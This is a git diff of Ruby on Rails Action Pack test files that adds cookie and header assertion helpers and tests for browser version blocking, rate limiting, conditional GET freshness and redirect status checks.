-    file   = File.join Dir.tmpdir, Dir::Tmpname.make_tmpname("rails-tests", "fd")
-    @url   = "drbunix://#{file}"
-    @pool  = nil
-    DRb.start_service @url, @queue
-  end
-
-  def <<(work); @queue << work; end
-
-  def shutdown
-    pool = @size.times.map {
-      fork {
-        DRb.stop_service
-        queue = DRbObject.new_with_uri @url
-        while job = queue.pop
-          klass    = job[0]
-          method   = job[1]
-          reporter = job[2]
-          result = Minitest.run_one_method klass, method
-          if result.error?
-            translate_exceptions result
-          end
-          queue.record reporter, result
-        end
-      }
-    }
-    @size.times { @queue << nil }
-    pool.each { |pid| Process.waitpid pid }
-  end
-
-  private
-    def translate_exceptions(result)
-      result.failures.map! { |e|
-        begin
-          Marshal.dump e
-          e
-        rescue TypeError
-          ex = Exception.new e.message
-          ex.set_backtrace e.backtrace
-          Minitest::UnexpectedError.new ex
-        end
-      }
-    end
+class ActiveSupport::TestCase
+  include ActiveSupport::Testing::MethodCallAssertions
 end
 
-if RUBY_ENGINE == "ruby" && PROCESS_COUNT > 0
-  # Use N processes (N defaults to 4)
-  Minitest.parallel_executor = ForkingExecutor.new(PROCESS_COUNT)
+module CookieAssertions
+  def parse_set_cookie_attributes(fields, attributes = {})
+    if fields.is_a?(String)
+      fields = fields.split(";").map(&:strip)
+    end
+
+    fields.each do |field|
+      key, value = field.split("=", 2)
+
+      # Normalize the key to lowercase:
+      key.downcase!
+
+      if value
+        value.downcase!
+        attributes[key] = value
+      else
+        attributes[key] = true
+      end
+    end
+
+    attributes
+  end
+
+  # Parse the set-cookie header and return a hash of cookie names and values.
+  #
+  # Example:
+  #   set_cookies = headers["set-cookie"]
+  #   parse_set_cookies_headers(set_cookies)
+  def parse_set_cookies_headers(set_cookies)
+    if set_cookies.is_a?(String)
+      set_cookies = set_cookies.split("\n")
+    end
+
+    cookies = {}
+
+    set_cookies&.each do |cookie_string|
+      attributes = {}
+
+      fields = cookie_string.split(";").map(&:strip)
+
+      # The first one is the cookie name:
+      name, value = fields.shift.split("=", 2)
+
+      attributes[:value] = value
+
+      cookies[name] = parse_set_cookie_attributes(fields, attributes)
+    end
+
+    cookies
+  end
+
+  def assert_set_cookie_attributes(name, attributes, header = @response.headers["Set-Cookie"])
+    cookies = parse_set_cookies_headers(header)
+    attributes = parse_set_cookie_attributes(attributes) if attributes.is_a?(String)
+
+    assert cookies.key?(name), "No cookie found with the name '#{name}', found cookies: #{cookies.keys.join(', ')}"
+    cookie = cookies[name]
+
+    attributes.each do |key, value|
+      assert cookie.key?(key), "No attribute '#{key}' found for cookie '#{name}'"
+      assert_equal value, cookie[key]
+    end
+  end
+
+  def assert_not_set_cookie_attributes(name, attributes, header = @response.headers["Set-Cookie"])
+    cookies = parse_set_cookies_headers(header)
+    attributes = parse_set_cookie_attributes(attributes) if attributes.is_a?(String)
+
+    assert cookies.key?(name), "No cookie found with the name '#{name}'"
+    cookie = cookies[name]
+
+    attributes.each do |key, value|
+      if value == true
+        assert_nil cookie[key]
+      else
+        assert_not_equal value, cookie[key]
+      end
+    end
+  end
+
+  def assert_set_cookie_header(expected, header = @response.headers["Set-Cookie"])
+    # In Rack v2, this is newline delimited. In Rack v3, this is an array.
+    # Normalize the comparison so that we can assert equality in both cases.
+
+    if header.is_a?(String)
+      header = header.split("\n").sort
+    end
+
+    if expected.is_a?(String)
+      expected = expected.split("\n").sort
+    end
+
+    # While not strictly speaking correct, this is probably good enough for now:
+    header = parse_set_cookies_headers(header)
+    expected = parse_set_cookies_headers(expected)
+
+    expected.each do |key, value|
+      assert_equal value, header[key]
+    end
+  end
+
+  def assert_not_set_cookie_header(expected, header = @response.headers["Set-Cookie"])
+    if header.is_a?(String)
+      header = header.split("\n").sort
+    end
+
+    if expected.is_a?(String)
+      expected = expected.split("\n").sort
+    end
+
+    # While not strictly speaking correct, this is probably good enough for now:
+    header = parse_set_cookies_headers(header)
+
+    expected.each do |name|
+      assert_not_includes(header, name)
+    end
+  end
 end
 
-class ActiveSupport::TestCase
-  include ActiveSupport::Testing::MethodCallAssertions
+module HeadersAssertions
+  def normalize_headers(headers)
+    headers.transform_keys(&:downcase)
+  end
+
+  def assert_headers(expected, actual = @response.headers)
+    actual = normalize_headers(actual)
+    expected.each do |key, value|
+      assert_equal value, actual[key]
+    end
+  end
+
+  def assert_header(key, value, actual = @response.headers)
+    actual = normalize_headers(actual)
+    assert_equal value, actual[key]
+  end
 
-  # Skips the current run on Rubinius using Minitest::Assertions#skip
-  private def rubinius_skip(message = "")
-    skip message if RUBY_ENGINE == "rbx"
+  def assert_not_header(key, actual = @response.headers)
+    actual = normalize_headers(actual)
+    assert_not_includes(actual, key)
   end
-  # Skips the current run on JRuby using Minitest::Assertions#skip
-  private def jruby_skip(message = "")
-    skip message if defined?(JRUBY_VERSION)
+
+  # This works for most headers, but not all, e.g. `set-cookie`.
+  def normalized_join_header(header)
+    header.is_a?(Array) ? header.join(",") : header
+  end
+
+  def assert_header_value(expected, header)
+    header = normalized_join_header(header)
+    assert_equal header, expected
   end
 end
+
+require_relative "../../tools/test_common"
diff --git a/actionpack/test/assertions/response_assertions_test.rb b/actionpack/test/assertions/response_assertions_test.rb
index 14a04ccdb1886..bbd594c4cc15a 100644
--- a/actionpack/test/assertions/response_assertions_test.rb
+++ b/actionpack/test/assertions/response_assertions_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "action_dispatch/testing/assertions/response"
 
@@ -134,6 +136,19 @@ def test_error_message_does_not_show_long_response_body
                    " but was a <400: Bad Request>"
         assert_match expected, error.message
       end
+
+      def test_error_message_shows_rescued_exception
+        @response = ActionDispatch::Response.new
+        @response.status = 500
+
+        @request = ActionDispatch::Request.new("action_dispatch.exception" => RuntimeError.new("example error"))
+
+        error = assert_raises(Minitest::Assertion) { assert_response 200 }
+        expected = "Expected response to be a <200: OK>,"\
+                   " but was a <500: Internal Server Error>\n\n"\
+                   "Exception while processing request: RuntimeError: example error\n"
+        assert_match expected, error.message
+      end
     end
   end
 end
diff --git a/actionpack/test/controller/action_pack_assertions_test.rb b/actionpack/test/controller/action_pack_assertions_test.rb
index 9ab152fc5c685..46306d5a66c22 100644
--- a/actionpack/test/controller/action_pack_assertions_test.rb
+++ b/actionpack/test/controller/action_pack_assertions_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "controller/fake_controllers"
 
@@ -34,6 +36,8 @@ def redirect_external() redirect_to "http://www.rubyonrails.org"; end
 
   def redirect_external_protocol_relative() redirect_to "//www.rubyonrails.org"; end
 
+  def redirect_permanently() redirect_to "/some/path", status: :moved_permanently end
+
   def response404() head "404 AWOL" end
 
   def response500() head "500 Sorry" end
@@ -83,7 +87,7 @@ def raise_exception_on_post
   end
 
   def render_file_absolute_path
-    render file: File.expand_path("../../../README.rdoc", __FILE__)
+    render file: File.expand_path("../../README.rdoc", __dir__)
   end
 
   def render_file_relative_path
@@ -173,9 +177,11 @@ def test_get_post_request_switch
   end
 
   def test_string_constraint
-    with_routing do |set|
-      set.draw do
-        get "photos", to: "action_pack_assertions#nothing", constraints: { subdomain: "admin" }
+    assert_nothing_raised do
+      with_routing do |set|
+        set.draw do
+          get "photos", to: "action_pack_assertions#nothing", constraints: { subdomain: "admin" }
+        end
       end
     end
   end
@@ -200,7 +206,7 @@ def test_assert_redirect_to_named_route_failure
         get "route_one", to: "action_pack_assertions#nothing", as: :route_one
         get "route_two", to: "action_pack_assertions#nothing", id: "two", as: :route_two
 
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":controller/:action"
         end
       end
@@ -227,7 +233,7 @@ def test_assert_redirect_to_nested_named_route
       set.draw do
         get "admin/inner_module", to: "admin/inner_module#index", as: :admin_inner_module
 
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":controller/:action"
         end
       end
@@ -244,7 +250,7 @@ def test_assert_redirected_to_top_level_named_route_from_nested_controller
       set.draw do
         get "/action_pack_assertions/:id", to: "action_pack_assertions#index", as: :top_level
 
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":controller/:action"
         end
       end
@@ -263,7 +269,7 @@ def test_assert_redirected_to_top_level_named_route_with_same_controller_name_in
         # this controller exists in the admin namespace as well which is the only difference from previous test
         get "/user/:id", to: "user#index", as: :top_level
 
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":controller/:action"
         end
       end
@@ -274,43 +280,41 @@ def test_assert_redirected_to_top_level_named_route_with_same_controller_name_in
   end
 
   def test_assert_redirect_failure_message_with_protocol_relative_url
-    begin
-      process :redirect_external_protocol_relative
-      assert_redirected_to "/foo"
-    rescue ActiveSupport::TestCase::Assertion => ex
-      assert_no_match(
-        /#{request.protocol}#{request.host}\/\/www.rubyonrails.org/,
-        ex.message,
-        "protocol relative url was incorrectly normalized"
-      )
-    end
+    process :redirect_external_protocol_relative
+    assert_redirected_to "/foo"
+  rescue ActiveSupport::TestCase::Assertion => ex
+    assert_no_match(
+      /#{request.protocol}#{request.host}\/\/www.rubyonrails.org/,
+      ex.message,
+      "protocol relative URL was incorrectly normalized"
+    )
   end
 
   def test_template_objects_exist
     process :assign_this
-    assert !@controller.instance_variable_defined?(:"@hi")
+    assert_not @controller.instance_variable_defined?(:"@hi")
     assert @controller.instance_variable_get(:"@howdy")
   end
 
   def test_template_objects_missing
     process :nothing
-    assert !@controller.instance_variable_defined?(:@howdy)
+    assert_not @controller.instance_variable_defined?(:@howdy)
   end
 
   def test_empty_flash
     process :flash_me_naked
-    assert flash.empty?
+    assert_empty flash
   end
 
   def test_flash_exist
     process :flash_me
-    assert flash.any?
-    assert flash["hello"].present?
+    assert_predicate flash, :any?
+    assert_predicate flash["hello"], :present?
   end
 
   def test_flash_does_not_exist
     process :nothing
-    assert flash.empty?
+    assert_empty flash
   end
 
   def test_session_exist
@@ -320,7 +324,7 @@ def test_session_exist
 
   def session_does_not_exist
     process :nothing
-    assert session.empty?
+    assert_empty session
   end
 
   def test_redirection_location
@@ -341,46 +345,46 @@ def test_no_redirect_url
 
   def test_server_error_response_code
     process :response500
-    assert @response.server_error?
+    assert_predicate @response, :server_error?
 
     process :response599
-    assert @response.server_error?
+    assert_predicate @response, :server_error?
 
     process :response404
-    assert !@response.server_error?
+    assert_not_predicate @response, :server_error?
   end
 
   def test_missing_response_code
     process :response404
-    assert @response.not_found?
+    assert_predicate @response, :not_found?
   end
 
   def test_client_error_response_code
     process :response404
-    assert @response.client_error?
+    assert_predicate @response, :client_error?
   end
 
   def test_redirect_url_match
     process :redirect_external
-    assert @response.redirect?
+    assert_predicate @response, :redirect?
     assert_match(/rubyonrails/, @response.redirect_url)
-    assert !/perloffrails/.match(@response.redirect_url)
+    assert_no_match(/perloffrails/, @response.redirect_url)
   end
 
   def test_redirection
     process :redirect_internal
-    assert @response.redirect?
+    assert_predicate @response, :redirect?
 
     process :redirect_external
-    assert @response.redirect?
+    assert_predicate @response, :redirect?
 
     process :nothing
-    assert !@response.redirect?
+    assert_not_predicate @response, :redirect?
   end
 
   def test_successful_response_code
     process :nothing
-    assert @response.successful?
+    assert_predicate @response, :successful?
   end
 
   def test_response_object
@@ -440,6 +444,34 @@ def test_assert_redirection_with_symbol
     }
   end
 
+  def test_assert_redirection_with_custom_message
+    error = assert_raise(ActiveSupport::TestCase::Assertion) do
+      assert_redirected_to "http://test.host/some/path", "wrong redirect"
+    end
+
+    assert_equal("wrong redirect", error.message)
+  end
+
+  def test_assert_redirection_with_status
+    process :redirect_to_path
+    assert_redirected_to "http://test.host/some/path", status: :found
+    assert_raise ActiveSupport::TestCase::Assertion do
+      assert_redirected_to "http://test.host/some/path", status: :moved_permanently
+    end
+    assert_raise ActiveSupport::TestCase::Assertion, "Custom message" do
+      assert_redirected_to "http://test.host/some/path", { status: :moved_permanently }, "Custom message"
+    end
+
+    process :redirect_permanently
+    assert_redirected_to "http://test.host/some/path", status: :moved_permanently
+    assert_raise ActiveSupport::TestCase::Assertion do
+      assert_redirected_to "http://test.host/some/path", status: :found
+    end
+    assert_raise ActiveSupport::TestCase::Assertion, "Custom message" do
+      assert_redirected_to "http://test.host/some/path", { status: :found }, "Custom message"
+    end
+  end
+
   def test_redirected_to_with_nested_controller
     @controller = Admin::InnerModuleController.new
     get :redirect_to_absolute_controller
@@ -464,6 +496,12 @@ def test_assert_response_failure_response_with_no_exception
     assert_response 500
     assert_equal "Boom", response.body
   end
+
+  def test_assert_in_body
+    post :raise_exception_on_get
+    assert_in_body "request method: POST"
+    assert_not_in_body "request method: GET"
+  end
 end
 
 class ActionPackHeaderTest < ActionController::TestCase
diff --git a/actionpack/test/controller/allow_browser_test.rb b/actionpack/test/controller/allow_browser_test.rb
new file mode 100644
index 0000000000000..f9cb195fadaa6
--- /dev/null
+++ b/actionpack/test/controller/allow_browser_test.rb
@@ -0,0 +1,100 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class AllowBrowserController < ActionController::Base
+  allow_browser versions: { safari: "16.4", chrome: "119", firefox: "123", opera: "106", ie: false }, block: -> { head :upgrade_required }, only: :hello
+  def hello
+    head :ok
+  end
+
+  allow_browser versions: { safari: "16.4", chrome: "119", firefox: "123", opera: "106", ie: false }, block: :head_upgrade_required, only: :hello_method_name
+  def hello_method_name
+    head :ok
+  end
+
+  allow_browser versions: :modern, block: -> { head :upgrade_required }, only: :modern
+  def modern
+    head :ok
+  end
+
+  private
+    def head_upgrade_required
+      head :upgrade_required
+    end
+end
+
+class AllowBrowserTest < ActionController::TestCase
+  tests AllowBrowserController
+
+  CHROME_118    = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118 Safari/537.36"
+  CHROME_120    = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120 Safari/537.36"
+  SAFARI_17_2_0 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.2.0 Safari/605.1.15"
+  FIREFOX_114   = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0"
+  IE_11         = "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
+  OPERA_106     = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 OPR/106.0.0.0"
+  GOOGLE_BOT    = "Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/W.X.Y.Z Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
+
+  test "blocked browser below version limit with callable" do
+    get_with_agent :hello, FIREFOX_114
+    assert_response :upgrade_required
+  end
+
+  test "blocked browser below version limit with method name" do
+    get_with_agent :hello_method_name, FIREFOX_114
+    assert_response :upgrade_required
+  end
+
+  test "blocked browser by name" do
+    get_with_agent :hello, IE_11
+    assert_response :upgrade_required
+  end
+
+  test "allowed browsers above specific version limit" do
+    get_with_agent :hello, SAFARI_17_2_0
+    assert_response :ok
+
+    get_with_agent :hello, CHROME_120
+    assert_response :ok
+
+    get_with_agent :hello, OPERA_106
+    assert_response :ok
+  end
+
+  test "browsers against modern limit" do
+    get_with_agent :modern, SAFARI_17_2_0
+    assert_response :ok
+
+    get_with_agent :modern, CHROME_118
+    assert_response :upgrade_required
+
+    get_with_agent :modern, CHROME_120
+    assert_response :ok
+
+    get_with_agent :modern, OPERA_106
+    assert_response :ok
+  end
+
+  test "bots" do
+    get_with_agent :hello, GOOGLE_BOT
+    assert_response :ok
+
+    get_with_agent :modern, GOOGLE_BOT
+    assert_response :ok
+  end
+
+  test "a blocked request instruments a browser_block.action_controller event" do
+    notification = assert_notification("browser_block.action_controller") do
+      get_with_agent :modern, CHROME_118
+    end
+
+    assert_equal request, notification.payload[:request]
+    assert_not_empty notification.payload[:versions]
+  end
+
+  private
+    def get_with_agent(action, agent)
+      @request.headers["User-Agent"] = agent
+      get action
+    end
+end
diff --git a/actionpack/test/controller/api/conditional_get_test.rb b/actionpack/test/controller/api/conditional_get_test.rb
index 7b70829101e60..95f19e97d4e17 100644
--- a/actionpack/test/controller/api/conditional_get_test.rb
+++ b/actionpack/test/controller/api/conditional_get_test.rb
@@ -1,6 +1,9 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_support/core_ext/integer/time"
 require "active_support/core_ext/numeric/time"
+require "support/etag_helper"
 
 class ConditionalGetApiController < ActionController::API
   before_action :handle_last_modified_and_etags, only: :two
@@ -16,13 +19,13 @@ def two
   end
 
   private
-
     def handle_last_modified_and_etags
       fresh_when(last_modified: Time.now.utc.beginning_of_day, etag: [ :foo, 123 ])
     end
 end
 
 class ConditionalGetApiTest < ActionController::TestCase
+  include EtagHelper
   tests ConditionalGetApiController
 
   def setup
@@ -51,7 +54,75 @@ def test_request_not_modified
     @request.if_modified_since = @last_modified
     get :one
     assert_equal 304, @response.status.to_i
-    assert @response.body.blank?
+    assert_predicate @response.body, :blank?
     assert_equal @last_modified, @response.headers["Last-Modified"]
   end
+
+  def test_if_none_match_is_asterisk
+    @request.if_none_match = "*"
+    get :one
+    assert_response :not_modified
+  end
+
+  def test_etag_matches
+    @request.if_none_match = weak_etag([:foo, 123])
+    get :one
+    assert_response :not_modified
+  end
+
+  def test_strict_freshness_with_etag
+    with_strict_freshness(true) do
+      @request.if_none_match = weak_etag([:foo, 123])
+
+      get :one
+      assert_response :not_modified
+    end
+  end
+
+  def test_strict_freshness_with_last_modified
+    with_strict_freshness(true) do
+      @request.if_modified_since = @last_modified
+
+      get :one
+      assert_response :not_modified
+    end
+  end
+
+  def test_strict_freshness_etag_precedence_over_last_modified
+    with_strict_freshness(true) do
+      # Not modified because the etag matches
+      @request.if_modified_since = 5.years.ago.httpdate
+      @request.if_none_match = weak_etag([:foo, 123])
+
+      get :one
+      assert_response :not_modified
+
+      # stale because the etag doesn't match
+      @request.if_none_match = weak_etag([:bar, 124])
+      @request.if_modified_since = @last_modified
+
+      get :one
+      assert_response :success
+    end
+  end
+
+  def test_both_should_be_used_when_strict_freshness_is_false
+    with_strict_freshness(false) do
+      # stale because the etag match but the last modified doesn't
+      @request.if_modified_since = 5.years.ago.httpdate
+      @request.if_none_match = weak_etag([:foo, 123])
+
+      get :one
+      assert_response :ok
+    end
+  end
+
+  private
+    def with_strict_freshness(value)
+      old_value = ActionDispatch::Http::Cache::Request.strict_freshness
+      ActionDispatch::Http::Cache::Request.strict_freshness = value
+      yield
+    ensure
+      ActionDispatch::Http::Cache::Request.strict_freshness = old_value
+    end
 end
diff --git a/actionpack/test/controller/api/data_streaming_test.rb b/actionpack/test/controller/api/data_streaming_test.rb
index f15b78d102cc7..6081168e1c5c3 100644
--- a/actionpack/test/controller/api/data_streaming_test.rb
+++ b/actionpack/test/controller/api/data_streaming_test.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 module TestApiFileUtils
-  def file_path() File.expand_path(__FILE__) end
-  def file_data() @data ||= File.open(file_path, "rb") { |f| f.read } end
+  def file_path() __FILE__ end
+  def file_data() @data ||= File.binread(file_path) end
 end
 
 class DataStreamingApiController < ActionController::API
diff --git a/actionpack/test/controller/api/force_ssl_test.rb b/actionpack/test/controller/api/force_ssl_test.rb
deleted file mode 100644
index d239964e4a695..0000000000000
--- a/actionpack/test/controller/api/force_ssl_test.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-require "abstract_unit"
-
-class ForceSSLApiController < ActionController::API
-  force_ssl
-
-  def one; end
-  def two
-    head :ok
-  end
-end
-
-class ForceSSLApiTest < ActionController::TestCase
-  tests ForceSSLApiController
-
-  def test_redirects_to_https
-    get :two
-    assert_response 301
-    assert_equal "https://test.host/force_ssl_api/two", redirect_to_url
-  end
-end
diff --git a/actionpack/test/controller/api/implicit_render_test.rb b/actionpack/test/controller/api/implicit_render_test.rb
index b51ee0cf42c60..8cefaf9b61c29 100644
--- a/actionpack/test/controller/api/implicit_render_test.rb
+++ b/actionpack/test/controller/api/implicit_render_test.rb
@@ -1,8 +1,15 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class ImplicitRenderAPITestController < ActionController::API
   def empty_action
   end
+
+  def returning_mock
+    require "minitest/mock"
+    Minitest::Mock.new
+  end
 end
 
 class ImplicitRenderAPITest < ActionController::TestCase
@@ -12,4 +19,9 @@ def test_implicit_no_content_response
     get :empty_action
     assert_response :no_content
   end
+
+  def test_result_independence
+    get :returning_mock
+    assert_response :no_content
+  end
 end
diff --git a/actionpack/test/controller/api/params_wrapper_test.rb b/actionpack/test/controller/api/params_wrapper_test.rb
index a1da852040262..814c24bfd861e 100644
--- a/actionpack/test/controller/api/params_wrapper_test.rb
+++ b/actionpack/test/controller/api/params_wrapper_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class ParamsWrapperForApiTest < ActionController::TestCase
diff --git a/actionpack/test/controller/api/rate_limiting_test.rb b/actionpack/test/controller/api/rate_limiting_test.rb
new file mode 100644
index 0000000000000..fa8da78ec3db9
--- /dev/null
+++ b/actionpack/test/controller/api/rate_limiting_test.rb
@@ -0,0 +1,41 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class ApiRateLimitedController < ActionController::API
+  self.cache_store = ActiveSupport::Cache::MemoryStore.new
+  rate_limit to: 2, within: 2.seconds, only: :limited_to_two
+
+  def limited_to_two
+    head :ok
+  end
+end
+
+class ApiRateLimitingTest < ActionController::TestCase
+  tests ApiRateLimitedController
+
+  setup do
+    ApiRateLimitedController.cache_store.clear
+  end
+
+  test "exceeding basic limit" do
+    get :limited_to_two
+    get :limited_to_two
+    assert_response :ok
+
+    assert_raises ActionController::TooManyRequests do
+      get :limited_to_two
+    end
+  end
+
+  test "limit resets after time" do
+    get :limited_to_two
+    get :limited_to_two
+    assert_response :ok
+
+    travel_to Time.now + 3.seconds do
+      get :limited_to_two
+      assert_response :ok
+    end
+  end
+end
diff --git a/actionpack/test/controller/api/redirect_to_test.rb b/actionpack/test/controller/api/redirect_to_test.rb
index ab14409f4017f..f8230dd6a94d1 100644
--- a/actionpack/test/controller/api/redirect_to_test.rb
+++ b/actionpack/test/controller/api/redirect_to_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class RedirectToApiController < ActionController::API
diff --git a/actionpack/test/controller/api/renderers_test.rb b/actionpack/test/controller/api/renderers_test.rb
index 04e34a1f8f68a..e7a9a4b2da0bf 100644
--- a/actionpack/test/controller/api/renderers_test.rb
+++ b/actionpack/test/controller/api/renderers_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_support/core_ext/hash/conversions"
 
diff --git a/actionpack/test/controller/api/url_for_test.rb b/actionpack/test/controller/api/url_for_test.rb
index cb4ae7a88a964..aa3428bc85d21 100644
--- a/actionpack/test/controller/api/url_for_test.rb
+++ b/actionpack/test/controller/api/url_for_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class UrlForApiController < ActionController::API
diff --git a/actionpack/test/controller/api/with_cookies_test.rb b/actionpack/test/controller/api/with_cookies_test.rb
index 8928237dfd493..1a6e12a4f3eea 100644
--- a/actionpack/test/controller/api/with_cookies_test.rb
+++ b/actionpack/test/controller/api/with_cookies_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 
 class WithCookiesController < ActionController::API
diff --git a/actionpack/test/controller/api/with_helpers_test.rb b/actionpack/test/controller/api/with_helpers_test.rb
new file mode 100644
index 0000000000000..00179d35056e6
--- /dev/null
+++ b/actionpack/test/controller/api/with_helpers_test.rb
@@ -0,0 +1,44 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+module ApiWithHelper
+  def my_helper
+    "helper"
+  end
+end
+
+class WithHelpersController < ActionController::API
+  include ActionController::Helpers
+  helper ApiWithHelper
+
+  def with_helpers
+    render plain: self.class.helpers.my_helper
+  end
+end
+
+class SubclassWithHelpersController < WithHelpersController
+  def with_helpers
+    render plain: self.class.helpers.my_helper
+  end
+end
+
+class WithHelpersTest < ActionController::TestCase
+  tests WithHelpersController
+
+  def test_with_helpers
+    get :with_helpers
+
+    assert_equal "helper", response.body
+  end
+end
+
+class SubclassWithHelpersTest < ActionController::TestCase
+  tests WithHelpersController
+
+  def test_with_helpers
+    get :with_helpers
+
+    assert_equal "helper", response.body
+  end
+end
diff --git a/actionpack/test/controller/base_test.rb b/actionpack/test/controller/base_test.rb
index 42a51570101d5..6fc978d5fb40e 100644
--- a/actionpack/test/controller/base_test.rb
+++ b/actionpack/test/controller/base_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "active_support/logger"
 require "controller/fake_models"
@@ -11,6 +13,19 @@ class ContainedEmptyController < ActionController::Base
 class EmptyController < ActionController::Base
 end
 
+class SimpleController < ActionController::Base
+  def status
+    head :ok
+  end
+
+  def hello
+    self.response_body = "hello"
+  end
+end
+
+class ChildController < SimpleController
+end
+
 class NonEmptyController < ActionController::Base
   def public_action
     head :ok
@@ -57,6 +72,29 @@ def action_missing(action)
   end
 end
 
+class WithoutRouterController < ActionController::Base
+  after_action :log_request_details
+
+  def index
+    head :ok
+  end
+
+  private
+    def log_request_details
+      request.route_uri_pattern
+    end
+end
+
+class WithoutRouterTest < ActionController::TestCase
+  tests WithoutRouterController
+
+  def test_request_route_uri_pattern_in_after_action_callback
+    assert_nothing_raised do
+      get :index
+    end
+  end
+end
+
 class ControllerClassTests < ActiveSupport::TestCase
   def test_controller_path
     assert_equal "empty", EmptyController.controller_path
@@ -75,14 +113,14 @@ def test_no_deprecation_when_action_view_record_identifier_is_included
     record.save
 
     dom_id = nil
-    assert_not_deprecated do
+    assert_not_deprecated(ActionController.deprecator) do
       dom_id = RecordIdentifierIncludedController.new.dom_id(record)
     end
 
     assert_equal "comment_1", dom_id
 
     dom_class = nil
-    assert_not_deprecated do
+    assert_not_deprecated(ActionController.deprecator) do
       dom_class = RecordIdentifierIncludedController.new.dom_class(record)
     end
     assert_equal "comment", dom_class
@@ -99,17 +137,23 @@ def setup
   end
 
   def test_performed?
-    assert !@empty.performed?
+    assert_not_predicate @empty, :performed?
     @empty.response_body = ["sweet"]
-    assert @empty.performed?
+    assert_predicate @empty, :performed?
   end
 
-  def test_action_methods
+  def test_empty_controller_action_methods
     @empty_controllers.each do |c|
       assert_equal Set.new, c.class.action_methods, "#{c.controller_path} should be empty!"
     end
   end
 
+  def test_action_methods_with_inherited_shadowed_internal_method
+    assert_includes ActionController::Base.instance_methods, :status
+    assert_equal Set.new(["status", "hello"]), SimpleController.action_methods
+    assert_equal Set.new(["status", "hello"]), ChildController.action_methods
+  end
+
   def test_temporary_anonymous_controllers
     name = "ExamplesController"
     klass = Class.new(ActionController::Base)
@@ -118,6 +162,31 @@ def test_temporary_anonymous_controllers
     controller = klass.new
     assert_equal "examples", controller.controller_path
   end
+
+  def test_response_has_default_headers
+    original_default_headers = ActionDispatch::Response.default_headers
+
+    ActionDispatch::Response.default_headers = {
+      "X-Frame-Options" => "DENY",
+      "X-Content-Type-Options" => "nosniff",
+      "X-XSS-Protection" => "0"
+    }
+
+    response_headers = SimpleController.action("hello").call(
+      "REQUEST_METHOD" => "GET",
+      "rack.input" => -> { }
+    )[1]
+
+    assert response_headers.key?("X-Frame-Options")
+    assert response_headers.key?("X-Content-Type-Options")
+    assert response_headers.key?("X-XSS-Protection")
+  ensure
+    ActionDispatch::Response.default_headers = original_default_headers
+  end
+
+  def test_inspect
+    assert_match(/\A#<EmptyController:0x[0-9a-f]+>\z/, @empty.inspect)
+  end
 end
 
 class PerformActionTest < ActionController::TestCase
@@ -139,6 +208,14 @@ def test_process_should_be_precise
     assert_equal "The action 'non_existent' could not be found for EmptyController", exception.message
   end
 
+  def test_exceptions_have_suggestions_for_fix
+    use_controller SimpleController
+    exception = assert_raise AbstractController::ActionNotFound do
+      get :ello
+    end
+    assert_match "Did you mean?", exception.detailed_message
+  end
+
   def test_action_missing_should_work
     use_controller ActionMissingController
     get :arbitrary_action
@@ -175,7 +252,7 @@ def test_url_options_override
       set.draw do
         get "from_view", to: "url_options#from_view", as: :from_view
 
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":controller/:action"
         end
       end
@@ -183,7 +260,7 @@ def test_url_options_override
       get :from_view, params: { route: "from_view_url" }
 
       assert_equal "http://www.override.com/from_view", @response.body
-      assert_equal "http://www.override.com/from_view", @controller.send(:from_view_url)
+      assert_equal "http://www.override.com/from_view", @controller.from_view_url
       assert_equal "http://www.override.com/default_url_options/index", @controller.url_for(controller: "default_url_options")
     end
   end
@@ -212,7 +289,7 @@ def test_default_url_options_override
       set.draw do
         get "from_view", to: "default_url_options#from_view", as: :from_view
 
-        ActiveSupport::Deprecation.silence do
+        ActionDispatch.deprecator.silence do
           get ":controller/:action"
         end
       end
@@ -220,7 +297,7 @@ def test_default_url_options_override
       get :from_view, params: { route: "from_view_url" }
 
       assert_equal "http://www.override.com/from_view?locale=en", @response.body
-      assert_equal "http://www.override.com/from_view?locale=en", @controller.send(:from_view_url)
+      assert_equal "http://www.override.com/from_view?locale=en", @controller.from_view_url
       assert_equal "http://www.override.com/default_url_options/new?locale=en", @controller.url_for(controller: "default_url_options")
     end
   end
